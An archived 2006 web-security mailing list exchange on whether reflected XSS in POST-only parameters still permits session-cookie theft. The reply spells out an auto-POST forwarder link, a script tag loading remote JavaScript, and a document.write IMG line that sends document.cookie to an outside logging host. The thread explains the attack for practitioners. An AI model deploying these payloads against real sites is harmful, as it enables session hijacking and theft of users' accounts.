[prev in list] [next in list] [prev in thread] [next in thread] 

List:       webappsec
Subject:    Re: [WEB SECURITY] Session hijacking via XSS vuln requring POST
From:       RSnake <rsnake () shocking ! com>
Date:       2006-12-18 19:56:26
Message-ID: Pine.LNX.4.64.0612181150040.15225 () fingers ! shocking ! com
[Download RAW message or body]


Hi, Holger, I think you missed one small detail.  The website that the
attacker controls doesn't stop at sending the user to an XSS'd page.
That XSS'd page on the victim's site then turns around and posts a
cookie back to the attacker's domain.  Here's the sequence:

Bad guy send user a link to something like:
http://www.whiteacid.org/misc/xss_post_forwarder.php?xss_target=http://vulnerable.com/&stuff=<script%20src=http://ha.ckers.org/xss.js></script>


That then (would normally) automatically post the user to to
vulnerable.com

Vulnerable.com would include http://ha.ckers.org/xss.js which has access
to the cookie since it's on the same webpage.

Although xss.js is actually benign it would then (normally) post that
cookie in an image to something like:

document.write("<IMG SRC='http://ha.ckers.org/log.cgi?"+document.cookie+"'>");

Now ha.ckers.org has vulnerable.com's cookies, regardless of the fact
that the "stuff" variable on vulnerable.com could only be accessed via a
form POST.  Clear as mud?

-RSnake
http://ha.ckers.org/
http://sla.ckers.org/

On Mon, 18 Dec 2006, Holger.Peine@iese.fraunhofer.de wrote:

> Hello everyone,
> 
> there was a discussion on webappsec about one year ago whether GET
> is in any substantial way more dangerous than POST; leaving aside
> issues like leaving traces in logs etc., in the particular context
> of reflected XSS (e.g. sending the victim a link containing XSS attack
> code)
> consensus seemed to be that an XSS-vulnerable page amounts to pretty
> much
> the same threat no matter whether being accessible via GET or POST, the
> reasoning being this:
> 
> If the XSS-prone parameter in the application can only be accessed via
> POST (e.g. a form parameter), then the attacker, while not being able to
> 
> send the victim a link that directly POSTs the XSS code to that
> parameter,
> would send a link that GETs an attacker page instead, and that page in
> turn would
> perform (by means of a small form that is automatically submitted) the
> POST to the vulnerable parameter on the target application.
> 
> While the above is correct, I feel that it misses the point of many XSS
> attacks, and that is stealing the session cookie: The whole point of XSS
> is that the victim will execute the attack code in the context of the
> vulnerable web site (since only then will the code be able to access the
> session cookie with that web site). If the "poisoned" link sends the
> victim
> to an attacker page, the session cookie with the target site will not
> be sent along.
> 
> So, is session hijacking in the form of stealing the victim's session
> cookie
> by means of sending them a link containing Javascript only possible if
> the
> XSS vulnerability on the target site is accessible via GET - or did I
> miss
> something here after all?
> 
> Thanks in advance for your opinion,
> Holger Peine
> 
> -- 
> Dr. Holger Peine, Security and Safety
> Fraunhofer IESE, Fraunhofer-Platz 1, 67663 Kaiserslautern, Germany
> Phone +49-631-6800-2134, Fax -1899 (shared)
> PGP key via http://pgp.mit.edu ; fingerprint is 1BFA 30CB E3ED BA99 E7AE
> 2BBB C126 A592 48EA F9F8
> 
> ----------------------------------------------------------------------------
> The Web Security Mailing List:
> http://www.webappsec.org/lists/websecurity/
> 
> The Web Security Mailing List Archives:
> http://www.webappsec.org/lists/websecurity/archive/
> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

-------------------------------------------------------------------------
Sponsored by: Watchfire

Today's hackers exploit web applications to expose, embarrass and even 
steal. Firewalls and SSL may be commonplace but recent studies indicate 3 
out of 4 websites remain vulnerable to attack. Watchfire's "Addressing 
Challenges in Application Security" whitepaper, explains what to do and 
provides a guideline to improving your own application security. 
Download this whitepaper today!

https://www.watchfire.com/securearea/whitepapers.aspx?id=701500000008YTU
--------------------------------------------------------------------------


[prev in list] [next in list] [prev in thread] [next in thread]